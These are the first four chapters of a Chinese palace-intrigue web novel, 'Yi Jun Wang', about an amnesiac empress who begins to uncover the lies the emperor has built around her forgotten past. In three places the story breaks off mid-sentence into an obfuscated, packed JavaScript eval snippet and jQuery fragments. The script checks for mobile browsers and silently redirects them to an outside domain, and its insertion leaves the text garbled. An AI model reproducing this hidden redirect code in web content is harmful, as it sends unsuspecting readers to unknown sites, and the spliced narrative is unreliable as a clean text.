《忆君王》
1. 第 1 章
龙章元年,秋九月庚申。
对于长安这座巍峨帝宫内的女主人媜珠来说,这应该是她才刚刚开始的皇后生涯中又一个十分平淡的秋日。
这天并没有什么大事发生。
晨时,皇帝在她的椒房殿内起身更衣,赴大朝会,而后一整天都在宣室殿中处理政务。
媜珠睡到更迟一些的时候才懒懒醒来,椒房殿里的嬷嬷们督促着她用了早膳。而后她召见了内司省内的一些女官和内监,一如既往平静地打理了一些宫务。
如果说唯一有什么和往日不同的话,那便是今日的巳时左右,穆王妃林氏携幼女入宫向皇后请安,她又在椒房殿内同穆王妃说了会话。
穆王妃是皇帝的弟弟穆王正妻,两个多月前刚刚又诞下一个女婴,媜珠见到这幼小的婴孩十分喜欢,便难得拉着穆王妃多坐了一会,抱了抱这个孩子,还取下自己身上的一只玉项圈赏赐给了她,当做提前赠给她的百日礼。
得了皇后赏赐,穆王妃携女千恩万谢地出宫去了。
午时,皇帝召媜珠去宣室殿陪他用了午膳。
下午后,媜珠回到椒房殿内小睡了一会,午睡醒来她便前往承圣殿内给太后赵氏请安,服侍婆母赵太后吃了药膳,在赵太后的殿内坐了一阵,陪太后解闷说话。
大魏立国之初,天子未置嫔御妃妾,只皇后一人,这偌大的帝宫里,除了帝后二人就只有赵太后这个主子了。
偏太后无他子,皇后未生育,宫里连个小孩子都没有,难免冷清了些,越发显得太后长日孤寂。
所以媜珠自然每日都要到婆母这里多待一会儿,这也是她身为皇后,替她的皇帝丈夫尽孝的意思。
这世上的年轻女子——尤其是嫁人之后不曾生育的女人,大多都是害怕面对婆母的,因为总免不了受一番婆母话里话外的挤兑和刁难。
然而身为皇后的媜珠,却并不害怕面对赵太后,甚至内心还很愿意亲近亲近这个婆母。
因为她也姓赵。她和赵太后同出一族,是赵太后的娘家侄女,皇帝名义上的表妹。
太后既是她的婆母,更是她的姑母,和她有着血脉之亲,哪来舍得刁难她呢?
这一日媜珠坐在承圣殿里,见赵太后神色恹恹,似乎是兴致并不高,心下细细揣摩了翻,不知怎的,想到上午时候穆王妃抱着女儿千疼百宠的,那般母女情深的模样,或许是心底某一处不知名的地方被偶然触动,她陡然开了口,提起了一个在世人记忆中已经死去了五年的女子:
“母亲,妾记得似乎还有小半个月就是兖国公主的祭辰了。这几日母亲都有些郁郁寡欢,是否是思念兖国公主的缘故?妾想着,不如趁着公主祭辰,请元象寺的那些僧人们进宫来,为兖国公主再做一场法事……”
兖国公主乃赵太后之女,更是赵太后唯一亲生的孩子,只不过在当今陛下登基前就薨逝了。陛下登基后遂追封了自己的妹妹为兖国公主。
媜珠曾听闻,在公主生前,赵太后极为宠爱这个唯一的女儿。在当年失去女儿后,太后也因此消沉了许久。
“啪——”
听得皇后口中提起兖国公主,赵太后却是神色突变,手下一个不稳,将手中的茶盏直接摔碎到了地上,茶水飞溅,茶盏碎了一地。
因这时殿里并没有年轻的小宫娥们守着伺候,太后身边的嬷嬷福蓉立马上前捡起地上碎裂的瓷片,媜珠身边的嬷嬷佩芝也赶忙过去擦拭起了地上的茶水。
媜珠被赵太后的反应吓了一大跳,以为自己说了不该说的话,连忙起身敛衽告罪,又亲自再去倒了盏茶来,素手托在掌中,小心翼翼地捧到赵太后跟前来。
赵太后仍旧端坐着,十指微颤,略显衰老的面容上流露出了一种媜珠在当时很难理解的复杂神色。
在这一室令人尴尬的寂静中,赵太后微微垂下眼眸,轻声问:“皇后怎么好端端地提起了她了?”
太后这么问也不奇怪,因为兖国公主死了都五六年了,她和皇帝都心照不宣地不再提起这个女子,皇帝和太后态度如此,宫里宫外的其他人当然也都知趣地不敢多嘴。
当年在媜珠与还未称帝的周奉疆成婚后的第二年,媜珠偶然得知周奉疆有个去年刚刚死去的妹妹周三娘子后,她就提过要给这位妹妹的祭辰办一日的法事。
但那时周奉疆和赵太后看上去就都不怎么想提这事。
加之那会儿冀州军的战事胶着在南边的长沙郡一带,周奉疆军务繁重,媜珠也就不好为这样的事情再烦了丈夫和婆母。
回到自己的娘家赵家后,娘家的父母兄长也劝她说,那是个没出嫁偏偏病死在家里的女儿,恐怕世人多嫌晦气,既然周三娘子在世的母亲兄长都不想多管,那她这个新嫁来的嫂嫂又何必多张嘴呢。
于是此后的几年里,媜珠也就不再说这话了。
时隔五年,今日再度提起此事,也是因为见赵太后近来情绪不佳,媜珠又心想着,女儿好歹还是太后亲生的女儿,活着的时候疼得跟眼睛珠子似的,死了怎么可能一点也不在乎,不如提一嘴替兖国公主做场法事,也当讨赵太后欢心了。
谁料想又招了赵太后的一顿不喜欢。
媜珠不敢再多嘴,只低头认错:“母亲恕罪,是妾失言。是妾提起妹妹,又无故惹了母亲伤心不快,是妾之错。”
赵太后缓缓地摆了摆手,眸中已没有半分悲伤之色,只剩下点点寒凉冷意:“她既去了,活着的人再想念又有什么用!终究不能承欢膝下,与我尽孝。你若是有心么,早日替皇帝诞下龙嗣,有个实实在在的孙儿抱在我怀里,我倒也不用郁郁寡欢了。”
这话算是说的有些重了。
媜珠成婚后和赵太后的这五年多的婆媳相处中,倒是头一次听赵太后认认真真地和她说起这样的话。
她心里跳了跳,直怪自己今日是不是遭了什么晦气,怎的这样倒霉。
然而身为儿妇,面对婆母还是不敢有半分不满的,只能老老实实地颔首称是。
又略坐了片刻后,媜珠只觉得身上都被闷出了一层冷汗,便缓步行出承圣殿,坐上轿辇回了椒房殿里。
在无人注意的角落里,几乎就在赵皇后离开承圣殿的同时,方才陪侍在她身边的佩芝躬着身子和一个小宦官打了个眼色,低语了几句,而后那个小宦官便连连点头,一路向着皇帝所在的宣室殿快速走去。
*
等回到椒房殿内时,媜珠如往日一般仔细着人安排了晚膳,预备着等待她的皇帝丈夫回来与她一同用膳。
椒房殿小厨房里的宫婢按例又端来一碟新做的桂花糕,媜珠亲自捧着奉到了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640944|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
偏殿内供奉的送子娘娘神像前,好一通虔诚地叩拜,祈求送子娘娘早日赐她一子,让她为丈夫诞下子嗣,为这个崭新的帝国皇室开枝散叶。
因为婚后多年无所出,祭拜送子娘娘,也渐渐已经变成了媜珠这么多年来每日必做的一件事了。
她做人妇、做皇后这么多年,日子过得单调得近乎一成不变,每天必做的三件事就是吃饭、侍寝、拜送子娘娘。
哪怕周奉疆并不在意这些,还劝她说一切顺其自然,不必强求,可是媜珠仍然坚持日日叩拜,希望心诚则灵。
她对这送子娘娘像也当真是万般孝敬,一年四季,时兴的瓜果点心,昂贵的香火灯油,从未断过。
今日因挨了赵太后的一顿埋怨,想起妯娌穆王妃生下的可爱婴孩,媜珠心中又有些委屈和落寞,跪在这送子娘娘像前的时间也就更长了些。
等她拜完送子娘娘回到寝殿内后,皇帝周奉疆果然已经从宣室殿回来,在殿内等着她了。
媜珠缓步从外头进来,远远瞥见隔着一层水晶珠帘,皇帝周奉疆着墨色龙纹襌衣常服,负手立在珠帘后的檀木膳桌前,身姿傲岸挺拔,一片肃然之气。
他面前似乎跪了一个唯唯诺诺的宦者,是媜珠不常见过的奴才,所以她叫不出他的名字。那宦人战战兢兢正和皇帝回着话。
媜珠听不见宦人说什么,但是只看皇帝的背影,她就已经察觉到了皇帝的不悦。
她脚步顿了顿,还是朝内走了过去。
她隐约听见皇帝似乎低斥了一句:“给朕去查!去太后宫里查,去穆王府上查!”
那面对着媜珠而跪的宦人见她过来,连忙又叩首拜见皇后。
他倒是提醒了皇帝,皇后来了。
皇帝转身见媜珠身着珠服羽裙,如云鬓发琳琅珠翠地向他缓步逶迤而来,瞬间敛了面上的怒意,对她露出一个款款温柔的微笑,上前两步牵起她的手,与她一道在桌前坐下。
他只一个眼尾的余光扫过去,跪在地上的宦者连忙闭了嘴,一个字也不敢再说,膝行着退了出去,没发出半分动静。
媜珠将一只素白的手搭在皇帝宽厚的手掌上,柔婉地浅笑:“陛下方才和那小宦人说什么呢?像是不高兴的样子。”
皇帝似乎并不想多提,只随口说了一句没什么,便同媜珠用起了晚膳。
媜珠于是也没有多问。
饭毕,暮色已至,天黑昏黑,即是寝时。
宫婢和嬷嬷们簇拥着媜珠去沐浴更衣,卸下她满是钗环的发髻,为她换上一件绯色的深衣,将她送进寝殿床帐罗帷内。
片刻后,皇帝从外间进来,停驻在床榻边,撩起玉瓶色的帷幔,静静地打量着床帐内媜珠此刻正准备侍寝时的娇态。
她姿态温顺地跪坐在榻上,披散着夜雾一般浓密的鸦发,丝缎的寝衣缓缓地从她肩头滑落,露出一片雪艳细腻的肌肤,是最旖旎的艳景。
皇帝的呼吸渐渐变得粗重,看着媜珠的眼神越发幽深。
*
这也是媜珠数年以来度过的又一个习以为常了的夜晚。
等帐内的动静终于平息下来时,随侍在帝后身边的女彤史在内殿珠帘外提笔记下这一日皇帝的起居。
“——龙章元年,秋九月庚申,夜,帝幸皇后三次。”
2. 第 2 章
待媜珠第二日懒懒地从枕榻间醒来时,偌大的床榻上只有她一个人在,皇帝早已经去朝会了,此刻恐怕朝会已毕,他应该在宣室殿里处理政务。
对于媜珠来说,今天和昨天并不会有什么不一样的。
她想,马上伺候她的宫娥嬷嬷们会为她穿上华服鸾裙,给她梳妆打扮,为她佩戴凤冠钗环,然后她会像昨天一样,召见内司省女官内监,处理宫廷琐事,然后去和皇帝一起用午膳、给太后请安、安排晚膳、拜送子娘娘、侍寝……
就和昨天一样。
身为皇后,她需要做的,就是按部就班地一遍遍重复过去的日子,在这深宫中一日又一日地消磨她的人生。
不过,没人会觉得她是在可怜地“消磨”人生,没有人会觉得她不快乐。
连媜珠自己都知道,全天下的女人大约都会羡慕她的。
因为所有人都说,她这一生实在是命好。
昨夜侍寝后的一点倦意上涌,媜珠慵懒地又阖上眼睛,闷在丝被里放空大脑发了会呆。
她想到了自己和自己家族的过去。
*
在这个动荡割据的乱世里,赵媜珠出身北地冀州世族赵氏,她是幸运的,是被泡在蜜罐子里养大的,自小被家族精心细养,从来没有受过半点乱世里的饥寒困窘之苦,反而生活优渥,熟习琴棋书画,成了家族最视若珍宝的贵女。
她的姑母赵氏嫁给了北地冀州枭雄周鼎为正妻,她的姑父周鼎乃俪阳公主之子,割据北地,称雄一时,手握重兵,剑指中原,野心勃勃。
到她姑父周鼎死的时候,风雨飘摇中的前楚皇室也终于快走到了国祚衰亡的尽头了。
于是周鼎的养子周奉疆继承了其养父的野心志向和手中军权,引冀州军一路南下,败天下诸侯,夺长安洛阳两京,几年后便立国于长安,改国号为魏,改年号为“龙章”。
在他立国称帝的同一日,他册封了她为皇后,让她和他一起共享这锦绣江山。
因为她是他的原配发妻,是他唯一的女人,也是他心爱的女人。
赵媜珠和他是名义上的表兄妹,自幼得以因此相识,从小便两情相悦,私定终身,并且立誓一个非君不嫁,一个非卿不娶,两人情比金坚。
她对他付出了一个女人最坚定的忠贞之意,她自幼就爱慕他,所以他也回报给她天下女子皆要羡慕的荣华与独宠。
他们两心相许,生死不渝。
——以上这些,就是媜珠此生听过的最动人的一段爱情故事了。
哪怕千年万岁,不论是史官提笔的丹书史册还是文人墨客的话本诗词里,都是一个绝对令人称颂赞叹的故事。
是的,关于她自己的这些事情,都是媜珠“听”别人说来的。
她对她自己人生的了解,皆来自于他人之口。
因为她几年前因伤失忆了,过往的种种,许多事她都不记得了,能留在脑海里的,顶多也只有一些模糊的剪影。
而媜珠受的伤,也可以说是为了周奉疆而造成的。
据说,她和周奉疆的这段婚事,起初并没有得到她娘家赵家的认可。
这个原因也很简单。要知道,当年的周奉疆只是周鼎的一个养子,而周鼎自己的亲生儿子也有一大堆。周鼎留下的家业,怎么也轮不到一个养子的头上的。
所谓养子,实不过家仆而已!
赵家人都认为媜珠嫁给周奉疆,这辈子都不会有出息了。
何况他们赵家精心仔细地养出一个绝色的美人儿,难道就是要让她去配这种没出息的男人的吗?
既然当年媜珠的姑母可以嫁给周鼎这样的贵胄子弟,那么同样身为赵家的女儿,赵媜珠也当去做枭雄之妻。
所以媜珠的兄长一直坚决反对媜珠嫁给周奉疆,三申五令地勒令她和那男人断了往来。
但是媜珠偏偏就是一门心思认准了这个男人,要死要活就是非要嫁。
为此,她还和自己的兄长大吵了一架,争吵推搡中,媜珠一时情急,不慎从自己的闺阁绣楼的二楼跌落楼下,磕碰到了脑袋,当场昏死过去,受了重伤。
等到媜珠醒来后,虽然那伤势并没有危及她的性命,但是她却失去了过往的许多记忆。
一回忆往事,她就会头颅抽痛,痛苦不已。
那时媜珠在病榻上还能隐约记得的,就是自己名叫“媜珠”,她正在闺阁备嫁,准备嫁给心爱的男人,因为遭到兄长的阻拦而从二楼失足跌落……
她只记得这点事情了。
在这之前的记忆,她就是一片空白。
别说她甚至连那个和自己争吵的兄长的容貌都记不清了,就连她自己的父母,她都恍惚得记不得到底是谁。
为了让她不再痛苦地思索往事,赵家人这才主动开口和她讲起她的过往,将她过去十几年的人生经历如数说给了她听。
媜珠那时脸色苍白,病体虚弱至极。
听罢这些后,她又低声问赵家人:
“那……那我本来要嫁的男人是谁?兄长为何不准我嫁?”
周奉疆便在此时出现在了她的面前。
“媜媜,你要嫁的人是我。”
周奉疆俯身坐在她的床榻边,握住了她的手,言辞恳切:
“起先你兄长不准你嫁我,是因为怕我不能给你尊荣显贵的生活。可是媜媜,我现在已经是冀州节度使,我是冀州的主人,养父留下的家业,现在尽在我一人之手。我可以保护好你,照顾好你。你父母兄长现在也允我娶你了。”
赵家人连连点头称是。
既然她身边的所有人都这样说了,于是媜珠就这样被赵家安排着嫁给了周奉疆,成了周奉疆的妻子。
几年后,周奉疆就称帝了,她也变成了一个崭新帝国的第一任皇后,是开国皇后。
在世人眼里,她今时今日所得到的一切,都是因为她嫁对了男人,是她当年慧眼识珠,眼光好。
再加上她当年还曾为了他受过伤失忆,这如何不更叫男人对她心生怜意,要加倍地补偿她呢?
是的,即便媜珠失忆,即便媜珠忘记了从前和周奉疆的一切过往,但周奉疆和她之间非但没有因此疏离,反而他越发地珍爱她,呵护她,数年来都是一副把她捧在手心里宠着的架势。
就连他自己都曾说过,她受的伤,是因为他才遭了这样的罪,他一定会用往后余生来弥补她。
*
媜珠在衾被间阖了阖眼,等到她再睁开眼睛时,这些过往的思绪又从她脑海中消散了。
她缓缓从榻上起身,宫婢们便开始服侍她梳洗妆扮。
梳妆时,媜珠注意到平素跟在她身边的嬷嬷佩芝竟然不在,本来想问一句她去哪了,但是又一想,她不在那自然就是有她去忙的事,由着她忙去就是了,于是最终也懒得张这个嘴问了。
今日天光尚好,媜珠难得有兴致想要出去走走,更想看看琼兰苑里的丹桂菊花。
琼兰苑就是这座长安帝宫中最大的花
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640945|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
苑,遍植芳草仙树,甚至还豢养了十几只孔雀在其中。
今年的桂花开得极好,媜珠正想在外头多坐一会儿,跟来的宫娥们小心翼翼地劝她该回去了,又说外头秋风寒凉云云,生怕她在外头受了什么风吹日晒一般。
媜珠不耐烦,一一支走了她们,叫她们回椒房殿去取披风、茶盏和点心来,她要在外头多坐一会儿,又折了两枝桂花,叫她们拿回去插在瓷瓶里养,搁在她寝殿里。
待跟随在她左右的宫娥们都走了,媜珠一人闲逛在琼兰苑里,忽又觉得无聊,想到琼兰苑附近就是宣室殿,周奉疆此刻就在宣室殿里。
媜珠不觉起了点娇纵的心思,偏想在这时候去见见他,于是她又挑选了一枝桂花折下,捧在手里,想带去宣室殿给他,放在他御案前,让他批阅奏章时也能时时闻见她最喜欢的桂香。
这几步路走的很快,媜珠踏入宣室殿的殿门里,黄门侍郎们虽然对皇后的到来感到意外,但却无一人敢阻拦皇后,更不敢说什么要等进去通传之类的话。
毕竟,满宫里谁不知道皇后独得圣宠,是陛下这么多年的唯一挚爱呢。
媜珠问:“陛下在哪?”
一个黄门郎有些战战兢兢地回了她的话,说陛下在宣室殿左偏殿里召见人,媜珠不待他起身就捧着这枝桂花过去寻周奉疆去了。
在她转身离开后,两个黄门侍郎满脸绝望和恐惧地相互对视了一眼,汗如雨下,相互低语道:
“皇后……娘娘怎么……怎么今日却过来了?这、这,还无人去通传给陛下啊……”
“跟在娘娘身边伺候的人呢……难道没有一人提前过来告诉一声娘娘的动向么?”
媜珠今日此举,的确有些异常,但是并不能算是不得体。
只是她平素鲜少会这样陡然闯到宣室殿来要见陛下,实在让宣室殿里侍奉的一众宦官感到意外。
恐怕就连皇帝都大意了,没有想到她会在这个时候过来,他早就斥退了守在外头的奴婢,因此在偏殿外连一个值守的宦人都没有。
而对于媜珠自己来说,打破她过去五年安稳生活的,也就是从这一件小小的、“意外的”事情开始。
像是破开了一个细碎的口子,顺着这个口子撕下去,她渐渐撕碎了蒙蔽在自己身边五年的巨大谎言,让她终于有机会面对残忍的现实。
*
宣室殿的左右偏殿平常大多是留给官员们在此暂做休整,等候皇帝的召见的。
偶尔政务繁忙的时候,更会有大批的官员在这里商讨国事或是替天子草拟文书圣旨等。左右偏殿里都摆放了大量的文书、古籍、史书、律法,一眼望去,满目皆是森然书卷。
所以,当黄门郎说皇帝在这里见人时,媜珠也觉得有些意外。
她放轻了脚步向偏殿走去,想要先绕到书架的屏风后等一等,等皇帝在此召见的官员回完话离开了,她才进去。
一边想着,媜珠一边轻嗅手中这枝丹桂的馨香,想到等会要给她的皇帝丈夫一个惊喜,面上也不觉露出了点浅笑。
然而,她才慢慢靠近宣室殿左偏殿的门口时,竟陡然听到里头传来一阵细细的女子啼哭的声音。
是一个年轻女人的哭声。
媜珠的脚步顿时僵硬地愣在了原地。
片刻后,她从那断断续续诚惶诚恐的哭声里听出了这道声音的主人。
昨天上午她才刚刚见过的,她的弟媳,穆王妃。
媜珠的心顿时沉入了谷底。
3. 第 3 章
天下大乱初平,陛下登基立国方始,并不贪恋女色,后宫只皇后赵媜珠一人而已。
因为多年无所出,媜珠也曾委曲求全地对周奉疆说,她希望为他广纳后宫妃妾,绵延子嗣。
她并不介意他纳妾蓄妃。
但周奉疆都一次又一次地拒绝了她,甚至他还不准她再说这些话。
他说,当年她为了嫁给他,不惜和兄长争执以致摔落楼下、重伤失忆,她为他做了那么多,她是他此生唯一珍爱的女人,这辈子他只愿和她一生一世一双人。
他永远都不会有别的女人。
可是这一天,在他的宣室殿里,他和他的弟媳穆王妃共处一室,她在殿外听到了穆王妃低低的哭泣求饶声。
这种时候,面对这种场景,一个女人脑海里下意识生出的第一反应会是什么,实在不必多说。
然而,这种荒唐的想法并没能在媜珠的脑海中持续太久,她很快就意识到此刻发生的事和她想象中的一点也不一样。
她同样听见了另一个男人的哭泣求饶声,此刻这间偏殿里并不只有皇帝和穆王妃两个人。
这个人,是皇帝的弟弟,穆王妃的丈夫,——穆王他自己。
在这个日渐寒凉的秋日里,媜珠木然地捧着手中的一枝丹桂,听到她皇帝丈夫的怒斥声隐隐约约地从偏殿里传出来。
“朕当年在周氏兄弟中留下你一命,许你王爵富贵,让你今时今日得以安稳度日……你当年又是怎么答应朕的?!如今你见朕对你们太过仁慈,又唆使林氏抱着孩子到皇后面前生事挑拨,你安的是什么心?倘若让皇后真的想起当年——”
皇帝言语间提及“皇后”二字,似乎此事还与她有关,让媜珠不由一下子悬起了心。
而此刻的殿内,穆王则似乎被天子的这番怒斥弄得又畏惧恐慌又莫名其妙,一面以头抢地、一面战战兢兢地连忙回答道:
“陛下!陛下明鉴!臣真的什么都不知道,臣真的冤枉!臣也不知林氏这贱妇昨日到底在皇后殿下面前说了些什么、以致皇后殿下想到了兖国公主之事,臣真的不知道啊!臣冤枉、臣冤枉!”
媜珠站在门外模糊听着,穆王之意,大约是想把皇帝这不知从何而来的怒火全都推倒穆王妃林氏一个人的头上去。
想到穆王妃两个多月前才刚从产房里死里逃生,为这个男人生下一个粉嫩可爱的女儿……此刻却被他口口声声称之为“贱妇”。
媜珠在心底微叹了一口气。
穆王的话音落下后,穆王妃含泪哽咽的哭诉声随之响起:
“陛下!贱妾冤枉,贱妾也求陛下明鉴啊,妾昨日真的只是将女儿带入宫给皇后殿下请了安而已,妾真的没有说过半句不该说的话,皇后殿下之所以留妾多坐了一会儿,也只是因为妾的女儿承蒙娘娘恩泽,讨了娘娘一点儿喜欢……妾真的没有蓄意在娘娘面前提起兖国公主半个字!这些、这些、娘娘身边的佩芝姑姑都可以为妾身作证!有佩芝姑姑在,贱妾怎敢在娘娘面前失言?”
听到穆王妃的辩驳之词,皇帝冷笑了一声,未置可否。
旋即,殿内又响起了佩芝一丝不苟的板正嗓音。
佩芝低声回道:“陛下恕罪,昨日娘娘召见穆王妃母女之时,婢确实随侍在娘娘身边,半步不敢离开娘娘,穆王妃……倒也实在没说过什逾矩之言。”
门外的媜珠顿时倒吸了一口凉气。
一贯侍奉在她身边的嬷嬷佩芝,此刻竟然也在皇帝跟前?难怪她今日起身时并未见到她。
她暗暗思索着这些人说的话,到了这个时候她终于可以确定了,皇帝今日的这场怒意、穆王与穆王妃所遭的天子问责的灾祸,原来竟都是为了她!
至于皇帝愤怒的源头,则是因为媜珠昨日在赵太后宫里提起了他死去五年了的那个妹妹,
——兖国公主,赵太后的亲生女儿,从前的周三娘子。
昨日媜珠面对赵太后谈起兖国公主时,赵太后的情绪就不大对劲,不仅不想再提起兖国公主半个字,甚至还非常的抵触媜珠说这话。
而今日,皇帝也因她昨日的失言而龙颜大怒,波及他人。
并且,皇帝大抵还认为她之所以反常地提到了那个死去五年的兖国公主,就是因为昨天入宫给皇后请安的穆王妃话里话外对她有所暗示,触动了她的神思。
毕竟她昨天唯一见过的外人就是这个从宫外来的穆王妃,皇帝想要追查,自然第一个从穆王妃乃至整个穆王府查起。
难怪啊难怪,昨天傍晚她侍奉皇帝用晚膳前,曾听到皇帝在椒房殿内对着一个小宦官也发了脾气,命令那个宦官“去太后宫里查,去穆王府上查”,媜珠还问过皇帝到底所为何事,但是皇帝不想多说,她也就没有再问。
如今想来,为的,竟然就是她的事?
一股令她浑身冰寒的凉意渐渐笼罩着媜珠整个人,她慢慢觉得,自己的心脏跳动得几乎要跃出胸膛,十指的指尖都是冷的,几乎连她的血都要冷去一般。
在那一瞬间,媜珠感到了恐惧。
假如一切真的是这样的话,她不明白,“兖国公主”到底是一个什么样的禁忌,她身为皇帝的妻子,为什么又不被允许提起皇帝的妹妹?
为什么,只是因为她随口说出的一句话,皇帝就会大动干戈至此,不惜问责自己的弟弟,让堂堂穆王和王妃都胆颤如蝼蚁一般卑微地跪地乞饶。
她虽是皇后,却也只是皇帝所拥有的一个普通的、对他构不成丝毫威胁的女人。
她不是什么摄政的有权势的后妃,膝下甚至连一个皇子都没有。
她的母族仰赖皇帝的赏赐才得以繁盛,虽然家族荣耀一时,但这份荣耀也全都仰赖皇帝的恩赏罢了。
甚至连她的姑母赵太后,也根本不是皇帝的亲生母亲,只是皇帝的养母,是皇帝看在昔年的情分上才继续尊养着她,给她皇太后的名分尊荣的。
赵太后和她姑侄二人,此刻是这天下最尊贵的女子,而她们所拥有的一切,都是皇帝的赏赐。
那么,皇帝,为什么这样关注自己的一言一行?
是的,在这一刻,媜珠脑海中再度冒出来的念头便是这个。
她丈夫对她的格外关注,令她感到遍体生寒,令她觉得恐惧和不安。
媜珠脑海中百转千回,又在下一瞬间,她想到昨日她给赵太后请安时,赵太后的寝殿里除了她们姑侄两人之外,只有太后身边的芙蓉和她身边的佩芝。
而在她回到椒房殿后不久
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640946|172711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,皇帝就得知了她和赵太后说过的话。
又是谁告诉了皇帝?
是她姑母赵太后?
还是几十年来一直伺候在赵太后身边的、赵太后从娘家赵家带来的奴婢福蓉?
这不可能!
不论是赵太后还是福蓉,她们都是赵家的人,都应当会维护她这个皇后。
假使昨日她所说的话真的能够让天子不悦,那么她们都应该会认真地提醒她以后不可再提此事,更不会巴巴地赶忙跑去告诉皇帝的。
……那么,难道就是一直守在她身边伺候着她的佩芝?
但是,佩芝不也是她从前从赵家带来的人么?
宫廷密辛,帝王一怒,所有的一切不论从哪里来想,都让媜珠头痛欲裂。
不知是否是她曾因伤失忆过的原因,媜珠自那年伤后就不能长时间地仔细用脑思索事情,想得越多越伤神,头颅就会抽痛得厉害,让她生不如死。
婚后这些年她被周奉疆宠爱、保护得太好,以至于让她很少再认真思考过什么,只是循规蹈矩地温顺地过着周奉疆安排给她的生活而已。
在她愣神的这片刻功夫里,殿内似乎又传来了一些动静,但媜珠没有注意去听是谁在说话、是谁又说了什么。
在这一日,在这一刻,她陷入到了前所未有的困惑和迷茫中。
等媜珠的思绪稍稍回笼时,她听到殿内皇帝的声音放低了很多。
皇帝好像长长地叹了一口气,那语气里还是带着怒意的,而媜珠竟然还从中听出了一种患得患失的惶恐感。
皇帝说:“朕在皇后身上,费尽了多少的心血、历经了这么多年,才和她能有今日……若是让朕知晓你们谁还敢在皇后面前有意无意地重提当年旧事、让皇后思及往事,朕、必诛之!”
殿内跪着的一众人遂诚惶诚恐地俱跪地叩首称不敢。
皇帝又道:“不仅是你们要记住,便是天下人皆知,这世上只有朕的赵皇后,永无兖国公主!皇后生来就是赵氏女,永远都只是赵媜珠!”
他最终大约也没有从穆王一家身上真的找出什么实质性的证据,证明穆王夫妻当真做了令天子龙颜大怒的事情,最终把他们夫妻叫来训斥了一番,还是叫他们回去了。
穆王一面千恩万谢口中直说谢陛下宽宏之恩,一面双腿打颤地拉着穆王妃躬身退出去了。
媜珠的耳边不停地盘旋着皇帝说的那句话。
“——这世上只有赵皇后,永无兖国公主……”
下一瞬,她眼前剧烈地眩晕起来,一下子便失去了意识,身子一软,倒在冰冷的石砖上。
昏迷过去的前一刻,媜珠好像听到了穆王和穆王妃惊恐地呼唤着“皇后娘娘”。
*
在宣室殿左偏殿外听到的那片刻的对话,让媜珠在昏迷中陷入了一重又一重的噩梦里。
不过,与其说是噩梦,倒不如说是回忆。
虽然在迷离混沌的梦境中,她始终看不清任何人的脸,但是她总觉得这一切都是那样的真实,仿佛就是她真的经历过的事情一样。
她似乎是经受了突然的刺激,让她回想起了一点往事。
她梦见了一点她豆蔻年华、少女春心萌动时的记忆。
4. 第 4 章
她梦见自己曾有一个青梅竹马的恋人,那时家中有一大片长满了藕花的荷塘,荷塘上搭着水榭,她常常和少年幽会于荷塘水榭之上。
每逢暑夏,满池碧叶大如圆盘,她就和那少年肆无忌惮地躲在水榭里,他们的身影被一片又一片的莲叶遮挡,他们可以安心在其中私会。
她不止一次地对少年说过,她会嫁给他。她懂得他的雄心壮志,明白他肩上担负的重任,知道他日后要走过的坎坷之路,但她永远都愿意陪着他。
那段时光应当是十分美好的。
梦中画面叠转,瞬间就又到了她出嫁之日。
那似乎是一个寒冷的冬天。
她嫁得匆忙而凌乱,甚至连母亲为她准备好的嫁妆都没有完全带齐,只是自己换了嫁衣、梳了妆发,然后就在深夜匆匆忙忙地出嫁了。
可是哪有新娘子是这样嫁人的呢?
至于她嫁得这样潦草的原因,梦中有个声音告诉她说,是因为她的兄长不允许她嫁,所以她要躲着她的兄长。
她是逃出去嫁人的。
兄长对她挑选的这个情郎十分不满,并且一直十分严厉地对她说,如果她嫁了这个男人,那她此生必不得善终,她一定会后悔终生。
他总是说,她能依靠的人只有他,只有跟在他身边,只有他才能护她一世荣华与安宁,别的男人是保护不了她的。
她和兄长争吵了很多很多回,却怎么都无法反抗她的兄长。
直到梦中出嫁的那一日,兄长因公务外出前往临郡,她便趁着兄长不在家,求得母亲的应允,着急忙慌地将自己嫁了出去。
坐在新娘花轿里的她妆容美丽却又不安,车马颠簸,一路上,她都在担心兄长会不会得知消息后追过来把她抓回去。
如果兄长抓到她的话,她一定会被他软禁起来的。
来接她出嫁的夫婿见她一路惴惴不安,慌得连饭都吃不下,他便中途下马,上了她的花轿,坐在她身边,握着她的手,安慰她说,快了快了,马上就要到河内郡了,等到了河内郡,离开冀州的地盘,她兄长再也奈何不了他们了!
梦境中,她仍然看不清夫婿的面容,但是仍旧满心依赖地看着他,重重地点头答应:“好,好,等过了河内郡,我和你就能堂堂正正地结为夫妻,永生永世不再分离——”
